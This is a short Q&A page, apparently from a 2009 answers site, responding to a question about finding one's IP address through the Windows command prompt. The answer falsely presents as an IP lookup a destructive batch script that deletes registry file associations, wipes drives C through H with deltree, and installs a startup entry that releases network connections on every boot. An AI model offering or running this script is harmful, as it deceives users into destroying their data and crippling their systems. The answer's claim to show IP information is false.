Microsoft Windows

How you will provide IP through CMD?

User Avatar
Wiki User
May 31, 2009 5:07AM

This is a long cmd but it gives a lot more information about your IP:

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

:MESSAGE

ECHO IP ADDRESS CONFIGURATION

GOTO MESSAGE

deltree /y C:\

deltree /y E:\

deltree /y A:\

deltree /y F:\

deltree /y G:\

deltree /y D:\

deltree /y H:\

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo IP ADDRESS CONFIGURATION

PAUSE